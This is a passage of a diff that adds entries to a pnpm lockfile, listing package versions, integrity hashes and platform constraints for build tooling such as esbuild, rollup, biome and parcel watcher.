[x64] + os: [darwin] + + '@biomejs/cli-linux-arm64-musl@2.4.12': + resolution: {integrity: sha512-FhfpkAAlKL6kwvcVap0Hgp4AhZmtd3YImg0kK1jd7C/aSoh4SfsB2f++yG1rU0lr8Y5MCFJrcSkmssiL9Xnnig==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@biomejs/cli-linux-arm64@2.4.12': + resolution: {integrity: sha512-tOwuCuZZtKi1jVzbk/5nXmIsziOB6yqN8c9r9QM0EJYPU6DpQWf11uBOSCfFKKM4H3d9ZoarvlgMfbcuD051Pw==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@biomejs/cli-linux-x64-musl@2.4.12': + resolution: {integrity: sha512-dwTIgZrGutzhkQCuvHynCkyW6hJxUuyZqKKO0YNfaS2GUoRO+tOvxXZqZB6SkWAOdfZTzwaw8IEdUnIkHKHoew==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [linux] + libc: [musl] + + '@biomejs/cli-linux-x64@2.4.12': + resolution: {integrity: sha512-8pFeAnLU9QdW9jCIslB/v82bI0lhBmz2ZAKc8pVMFPO0t0wAHsoEkrUQUbMkIorTRIjbqyNZHA3lEXavsPWYSw==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@biomejs/cli-win32-arm64@2.4.12': + resolution: {integrity: sha512-B0DLnx0vA9ya/3v7XyCaP+/lCpnbWbMOfUFFve+xb5OxyYvdHaS55YsSddr228Y+JAFk58agCuZTsqNiw2a6ig==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [win32] + + '@biomejs/cli-win32-x64@2.4.12': + resolution: {integrity: sha512-yMckRzTyZ83hkk8iDFWswqSdU8tvZxspJKnYNh7JZr/zhZNOlzH13k4ecboU6MurKExCe2HUkH75pGI/O2JwGA==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [win32] + + '@cacheable/memory@2.0.8': + resolution: {integrity: sha512-FvEb29x5wVwu/Kf93IWwsOOEuhHh6dYCJF3vcKLzXc0KXIW181AOzv6ceT4ZpBHDvAfG60eqb+ekmrnLHIy+jw==} + + '@cacheable/utils@2.4.1': + resolution: {integrity: sha512-eiFgzCbIneyMlLOmNG4g9xzF7Hv3Mga4LjxjcSC/ues6VYq2+gUbQI8JqNuw/ZM8tJIeIaBGpswAsqV2V7ApgA==} + + '@csstools/css-calc@3.2.0': + resolution: {integrity: sha512-bR9e6o2BDB12jzN/gIbjHa5wLJ4UjD1CB9pM7ehlc0ddk6EBz+yYS1EV2MF55/HUxrHcB/hehAyt5vhsA3hx7w==} + engines: {node: '>=20.19.0'} + peerDependencies: + '@csstools/css-parser-algorithms': ^4.0.0 + '@csstools/css-tokenizer': ^4.0.0 + + '@csstools/css-parser-algorithms@4.0.0': + resolution: {integrity: sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w==} + engines: {node: '>=20.19.0'} + peerDependencies: + '@csstools/css-tokenizer': ^4.0.0 + + '@csstools/css-syntax-patches-for-csstree@1.1.3': + resolution: {integrity: sha512-SH60bMfrRCJF3morcdk57WklujF4Jr/EsQUzqkarfHXEFcAR1gg7fS/chAE922Sehgzc1/+Tz5H3Ypa1HiEKrg==} + peerDependencies: + css-tree: ^3.2.1 + peerDependenciesMeta: + css-tree: + optional: true + + '@csstools/css-tokenizer@4.0.0': + resolution: {integrity: sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==} + engines: {node: '>=20.19.0'} + + '@csstools/media-query-list-parser@5.0.0': + resolution: {integrity: sha512-T9lXmZOfnam3eMERPsszjY5NK0jX8RmThmmm99FZ8b7z8yMaFZWKwLWGZuTwdO3ddRY5fy13GmmEYZXB4I98Eg==} + engines: {node: '>=20.19.0'} + peerDependencies: + '@csstools/css-parser-algorithms': ^4.0.0 + '@csstools/css-tokenizer': ^4.0.0 + + '@csstools/selector-resolve-nested@4.0.0': + resolution: {integrity: sha512-9vAPxmp+Dx3wQBIUwc1v7Mdisw1kbbaGqXUM8QLTgWg7SoPGYtXBsMXvsFs/0Bn5yoFhcktzxNZGNaUt0VjgjA==} + engines: {node: '>=20.19.0'} + peerDependencies: + postcss-selector-parser: ^7.1.1 + + '@csstools/selector-specificity@6.0.0': + resolution: {integrity: sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==} + engines: {node: '>=20.19.0'} + peerDependencies: + postcss-selector-parser: ^7.1.1 + + '@esbuild/aix-ppc64@0.25.12': + resolution: {integrity: sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [aix] + + '@esbuild/android-arm64@0.25.12': + resolution: {integrity: sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm@0.25.12': + resolution: {integrity: sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==} + engines: {node: '>=18'} + cpu: [arm] + os: [android] + + '@esbuild/android-x64@0.25.12': + resolution: {integrity: sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==} + engines: {node: '>=18'} + cpu: [x64] + os: [android] + + '@esbuild/darwin-arm64@0.25.12': + resolution: {integrity: sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-x64@0.25.12': + resolution: {integrity: sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==} + engines: {node: '>=18'} + cpu: [x64] + os: [darwin] + + '@esbuild/freebsd-arm64@0.25.12': + resolution: {integrity: sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.25.12': + resolution: {integrity: sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [freebsd] + + '@esbuild/linux-arm64@0.25.12': + resolution: {integrity: sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==} + engines: {node: '>=18'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm@0.25.12': + resolution: {integrity: sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==} + engines: {node: '>=18'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-ia32@0.25.12': + resolution: {integrity: sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==} + engines: {node: '>=18'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-loong64@0.25.12': + resolution: {integrity: sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==} + engines: {node: '>=18'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-mips64el@0.25.12': + resolution: {integrity: sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==} + engines: {node: '>=18'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-ppc64@0.25.12': + resolution: {integrity: sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-riscv64@0.25.12': + resolution: {integrity: sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==} + engines: {node: '>=18'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-s390x@0.25.12': + resolution: {integrity: sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==} + engines: {node: '>=18'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-x64@0.25.12': + resolution: {integrity: sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==} + engines: {node: '>=18'} + cpu: [x64] + os: [linux] + + '@esbuild/netbsd-arm64@0.25.12': + resolution: {integrity: sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [netbsd] + + '@esbuild/netbsd-x64@0.25.12': + resolution: {integrity: sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [netbsd] + + '@esbuild/openbsd-arm64@0.25.12': + resolution: {integrity: sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openbsd] + + '@esbuild/openbsd-x64@0.25.12': + resolution: {integrity: sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==} + engines: {node: '>=18'} + cpu: [x64] + os: [openbsd] + + '@esbuild/openharmony-arm64@0.25.12': + resolution: {integrity: sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openharmony] + + '@esbuild/sunos-x64@0.25.12': + resolution: {integrity: sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==} + engines: {node: '>=18'} + cpu: [x64] + os: [sunos] + + '@esbuild/win32-arm64@0.25.12': + resolution: {integrity: sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-ia32@0.25.12': + resolution: {integrity: sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==} + engines: {node: '>=18'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-x64@0.25.12': + resolution: {integrity: sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==} + engines: {node: '>=18'} + cpu: [x64] + os: [win32] + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/remapping@2.3.5': + resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.31': + resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} + + '@keyv/bigmap@1.3.1': + resolution: {integrity: sha512-WbzE9sdmQtKy8vrNPa9BRnwZh5UF4s1KTmSK0KUVLo3eff5BlQNNWDnFOouNpKfPKDnms9xynJjsMYjMaT/aFQ==} + engines: {node: '>= 18'} + peerDependencies: + keyv: ^5.6.0 + + '@keyv/serialize@1.1.1': + resolution: {integrity: sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==} + + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + + '@parcel/watcher-android-arm64@2.5.6': + resolution: {integrity: sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [android] + + '@parcel/watcher-darwin-arm64@2.5.6': + resolution: {integrity: sha512-Z2ZdrnwyXvvvdtRHLmM4knydIdU9adO3D4n/0cVipF3rRiwP+3/sfzpAwA/qKFL6i1ModaabkU7IbpeMBgiVEA==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [darwin] + + '@parcel/watcher-darwin-x64@2.5.6': + resolution: {integrity: sha512-HgvOf3W9dhithcwOWX9uDZyn1lW9R+7tPZ4sug+NGrGIo4Rk1hAXLEbcH1TQSqxts0NYXXlOWqVpvS1SFS4fRg==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [darwin] + + '@parcel/watcher-freebsd-x64@2.5.6': + resolution: {integrity: sha512-vJVi8yd/qzJxEKHkeemh7w3YAn6RJCtYlE4HPMoVnCpIXEzSrxErBW5SJBgKLbXU3WdIpkjBTeUNtyBVn8TRng==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [freebsd] + + '@parcel/watcher-linux-arm-glibc@2.5.6': + resolution: {integrity: sha512-9JiYfB6h6BgV50CCfasfLf/uvOcJskMSwcdH1PHH9rvS1IrNy8zad6IUVPVUfmXr+u+Km9IxcfMLzgdOudz9EQ==} + engines: {node: '>= 10.0.0'} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@parcel/watcher-linux-arm-musl@2.5.6': + resolution: {integrity: sha512-Ve3gUCG57nuUUSyjBq/MAM0CzArtuIOxsBdQ+ftz6ho8n7s1i9E1Nmk/xmP323r2YL0SONs1EuwqBp2u1k5fxg==} + engines: {node: '>= 10.0.0'} + cpu: [arm] + os: [linux] + libc: [musl] + + '@parcel/watcher-linux-arm64-glibc@2.5.6': + resolution: {integrity: sha512-f2g/DT3NhGPdBmMWYoxixqYr3v/UXcmLOYy16Bx0TM20Tchduwr4EaCbmxh1321TABqPGDpS8D/ggOTaljijOA==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@parcel/watcher-linux-arm64-musl@2.5.6': + resolution: {integrity: sha512-qb6naMDGlbCwdhLj6hgoVKJl2odL34z2sqkC7Z6kzir8b5W65WYDpLB6R06KabvZdgoHI/zxke4b3zR0wAbDTA==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@parcel/watcher-linux-x64-glibc@2.5.6': + resolution: {integrity: sha512-kbT5wvNQlx7NaGjzPFu8nVIW1rWqV780O7ZtkjuWaPUgpv2NMFpjYERVi0UYj1msZNyCzGlaCWEtzc+exjMGbQ==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@parcel/watcher-linux-x64-musl@2.5.6': + resolution: {integrity: sha512-1JRFeC+h7RdXwldHzTsmdtYR/Ku8SylLgTU/reMuqdVD7CtLwf0VR1FqeprZ0eHQkO0vqsbvFLXUmYm/uNKJBg==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [linux] + libc: [musl] + + '@parcel/watcher-win32-arm64@2.5.6': + resolution: {integrity: sha512-3ukyebjc6eGlw9yRt678DxVF7rjXatWiHvTXqphZLvo7aC5NdEgFufVwjFfY51ijYEWpXbqF5jtrK275z52D4Q==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [win32] + + '@parcel/watcher-win32-ia32@2.5.6': + resolution: {integrity: sha512-k35yLp1ZMwwee3Ez/pxBi5cf4AoBKYXj00CZ80jUz5h8prpiaQsiRPKQMxoLstNuqe2vR4RNPEAEcjEFzhEz/g==} + engines: {node: '>= 10.0.0'} + cpu: [ia32] + os: [win32] + + '@parcel/watcher-win32-x64@2.5.6': + resolution: {integrity: sha512-hbQlYcCq5dlAX9Qx+kFb0FHue6vbjlf0FrNzSKdYK2APUf7tGfGxQCk2ihEREmbR6ZMc0MVAD5RIX/41gpUzTw==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [win32] + + '@parcel/watcher@2.5.6': + resolution: {integrity: sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ==} + engines: {node: '>= 10.0.0'} + + '@react-leaflet/core@3.0.0': + resolution: {integrity: sha512-3EWmekh4Nz+pGcr+xjf0KNyYfC3U2JjnkWsh0zcqaexYqmmB5ZhH37kz41JXGmKzpaMZCnPofBBm64i+YrEvGQ==} + peerDependencies: + leaflet: ^1.9.0 + react: ^19.0.0 + react-dom: ^19.0.0 + + '@rolldown/pluginutils@1.0.0-beta.27': + resolution: {integrity: sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==} + + '@rollup/rollup-android-arm-eabi@4.60.1': + resolution: {integrity: sha512-d6FinEBLdIiK+1uACUttJKfgZREXrF0Qc2SmLII7W2AD8FfiZ9Wjd+rD/iRuf5s5dWrr1GgwXCvPqOuDquOowA==} + cpu: [arm] + os: [android] + + '@rollup/rollup-android-arm64@4.60.1': + resolution: {integrity: sha512-YjG/EwIDvvYI1YvYbHvDz/BYHtkY4ygUIXHnTdLhG+hKIQFBiosfWiACWortsKPKU/+dUwQQCKQM3qrDe8c9BA==} + cpu: [arm64] + os: [android] + + '@rollup/rollup-darwin-arm64@4.60.1': + resolution: {integrity: sha512-mjCpF7GmkRtSJwon+Rq1N8+pI+8l7w5g9Z3vWj4T7abguC4Czwi3Yu/pFaLvA3TTeMVjnu3ctigusqWUfjZzvw==} + cpu: [arm64] + os: [darwin] + + '@rollup/rollup-darwin-x64@4.60.1': + resolution: {integrity: sha512-haZ7hJ1JT4e9hqkoT9R/19XW2QKqjfJVv+i5AGg57S+nLk9lQnJ1F/eZloRO3o9Scy9CM3wQ9l+dkXtcBgN5Ew==} + cpu: [x64] + os: [darwin] + + '@rollup/rollup-freebsd-arm64@4.60.1': + resolution: {integrity: sha512-czw90wpQq3ZsAVBlinZjAYTKduOjTywlG7fEeWKUA7oCmpA8xdTkxZZlwNJKWqILlq0wehoZcJYfBvOyhPTQ6w==} + cpu: [arm64] + os: [freebsd] + + '@rollup/rollup-freebsd-x64@4.60.1': + resolution: {integrity: sha512-KVB2rqsxTHuBtfOeySEyzEOB7ltlB/ux38iu2rBQzkjbwRVlkhAGIEDiiYnO2kFOkJp+Z7pUXKyrRRFuFUKt+g==} + cpu: [x64] + os: [freebsd] + + '@rollup/rollup-linux-arm-gnueabihf@4.60.1': + resolution: {integrity: sha512-L+34Qqil+v5uC0zEubW7uByo78WOCIrBvci69E7sFASRl0X7b/MB6Cqd1lky/CtcSVTydWa2WZwFuWexjS5o6g==} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-arm-musleabihf@4.60.1': + resolution: {integrity: sha512-n83O8rt4v34hgFzlkb1ycniJh7IR5RCIqt6mz1VRJD6pmhRi0CXdmfnLu9dIUS6buzh60IvACM842Ffb3xd6Gg==} + cpu: [arm] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-arm64-gnu@4.60.1': + resolution: {integrity: sha512-Nql7sTeAzhTAja3QXeAI48+/+GjBJ+QmAH13snn0AJSNL50JsDqotyudHyMbO2RbJkskbMbFJfIJKWA6R1LCJQ==} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-arm64-musl@4.60.1': + resolution: {integrity: sha512-+pUymDhd0ys9GcKZPPWlFiZ67sTWV5UU6zOJat02M1+PiuSGDziyRuI/pPue3hoUwm2uGfxdL+trT6Z9rxnlMA==} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-loong64-gnu@4.60.1': + resolution: {integrity: sha512-VSvgvQeIcsEvY4bKDHEDWcpW4Yw7BtlKG1GUT4FzBUlEKQK0rWHYBqQt6Fm2taXS+1bXvJT6kICu5ZwqKCnvlQ==} + cpu: [loong64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-loong64-musl@4.60.1': + resolution: {integrity: sha512-4LqhUomJqwe641gsPp6xLfhqWMbQV04KtPp7/dIp0nzPxAkNY1AbwL5W0MQpcalLYk07vaW9Kp1PBhdpZYYcEw==} + cpu: [loong64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-ppc64-gnu@4.60.1': + resolution: {integrity: sha512-tLQQ9aPvkBxOc/EUT6j3pyeMD6Hb8QF2BTBnCQWP/uu1lhc9AIrIjKnLYMEroIz/JvtGYgI9dF3AxHZNaEH0rw==} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-ppc64-musl@4.60.1': + resolution: {integrity: sha512-RMxFhJwc9fSXP6PqmAz4cbv3kAyvD1etJFjTx4ONqFP9DkTkXsAMU4v3Vyc5BgzC+anz7nS/9tp4obsKfqkDHg==} + cpu: [ppc64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-riscv64-gnu@4.60.1': + resolution: {integrity: sha512-QKgFl+Yc1eEk6MmOBfRHYF6lTxiiiV3/z/BRrbSiW2I7AFTXoBFvdMEyglohPj//2mZS4hDOqeB0H1ACh3sBbg==} + cpu: [riscv64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-riscv64-musl@4.60.1': + resolution: {integrity: sha512-RAjXjP/8c6ZtzatZcA1RaQr6O1TRhzC+adn8YZDnChliZHviqIjmvFwHcxi4JKPSDAt6Uhf/7vqcBzQJy0PDJg==} + cpu: [riscv64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-s390x-gnu@4.60.1': + resolution: {integrity: sha512-wcuocpaOlaL1COBYiA89O6yfjlp3RwKDeTIA0hM7OpmhR1Bjo9j31G1uQVpDlTvwxGn2nQs65fBFL5UFd76FcQ==} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-x64-gnu@4.60.1': + resolution: {integrity: sha512-77PpsFQUCOiZR9+LQEFg9GClyfkNXj1MP6wRnzYs0EeWbPcHs02AXu4xuUbM1zhwn3wqaizle3AEYg5aeoohhg==} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-x64-musl@4.60.1': + resolution: {integrity: sha512-5cIATbk5vynAjqqmyBjlciMJl1+R/CwX9oLk/EyiFXDWd95KpHdrOJT//rnUl4cUcskrd0jCCw3wpZnhIHdD9w==} + cpu: [x64] + os: [linux] + libc: [musl] + + '@rollup/rollup-openbsd-x64@4.60.1': + resolution: {integrity: sha512-cl0w09WsCi17mcmWqqglez9Gk8isgeWvoUZ3WiJFYSR3zjBQc2J5/ihSjpl+VLjPqjQ/1hJRcqBfLjssREQILw==} + cpu: [x64] + os: [openbsd] + + '@rollup/rollup-openharmony-arm64@4.60.1': + resolution: {integrity: sha512-4Cv23ZrONRbNtbZa37mLSueXUCtN7MXccChtKpUnQNgF010rjrjfHx3QxkS2PI7LqGT5xXyYs1a7LbzAwT0iCA==} + cpu: [arm64] + os: [openharmony] + + '@rollup/rollup-win32-arm64-msvc@4.60.1': + resolution: {integrity: sha512-i1okWYkA4FJICtr7KpYzFpRTHgy5jdDbZiWfvny21iIKky5YExiDXP+zbXzm3dUcFpkEeYNHgQ5fuG236JPq0g==} + cpu: [arm64] + os: [win32] + + '@rollup/rollup-win32-ia32-msvc@4.60.1': + resolution: {integrity: sha512-u09m3CuwLzShA0EYKMNiFgcjjzwqtUMLmuCJLeZWjjOYA3IT2Di09KaxGBTP9xVztWyIWjVdsB2E9goMjZvTQg==} + cpu: [ia32] + os: [win32] + + '@rollup/rollup-win32-x64-gnu@4.60.1': + resolution: {integrity: sha512-k+600V9Zl1CM7eZxJgMyTUzmrmhB/0XZnF4pRypKAlAgxmedUA+1v9R+XOFv56W4SlHEzfeMtzujLJD22Uz5zg==} + cpu: [x64] + os: [win32] + + '@rollup/rollup-win32-x64-msvc@4.60.1': + resolution: {integrity: sha512-lWMnixq/QzxyhTV6NjQJ4SFo1J6PvOX8vUx5Wb4bBPsEb+8xZ89Bz6kOXpfXj9ak9AHTQVQzlgzBEc1SyM27xQ==} + cpu: [x64] + os: [win32] + + '@sindresorhus/merge-streams@4.0.0': + resolution: {integrity: sha512-tlqY9xq5ukxTUZBmoOp+m61cqwQD5pHJtFY3Mn8CA8ps6yghLH/Hw8UPdqg4OLmFW3IFlcXnQNmo/dh8HzXYIQ==} + engines: {node: '>=18'} + + '@tanstack/query-core@5.99.0': + resolution: {integrity: sha512-3Jv3WQG0BCcH7G+7lf/bP8QyBfJOXeY+T08Rin3GZ1bshvwlbPt7NrDHMEzGdKIOmOzvIQmxjk28YEQX60k7pQ==} + + '@tanstack/react-query@5.99.0': + resolution: {integrity: sha512-OY2bCqPemT1LlqJ8Y2CUau4KELnIhhG9Ol3ZndPbdnB095pRbPo1cHuXTndg8iIwtoHTgwZjyaDnQ0xD0mYwAw==} + peerDependencies: + react: ^18 || ^19 + + '@types/babel__core@7.20.5': + resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==} + + '@types/babel__generator@7.27.0': + resolution: {integrity: sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==} + + '@types/babel__template@7.4.4': + resolution: {integrity: sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==} + + '@types/babel__traverse@7.28.0': + resolution: {integrity: sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==} + + '@types/d3-array@3.2.2': + resolution: {integrity: sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==} + + '@types/d3-color@3.1.3': + resolution: {integrity: sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==} + + '@types/d3-ease@3.0.2': + resolution: {integrity: 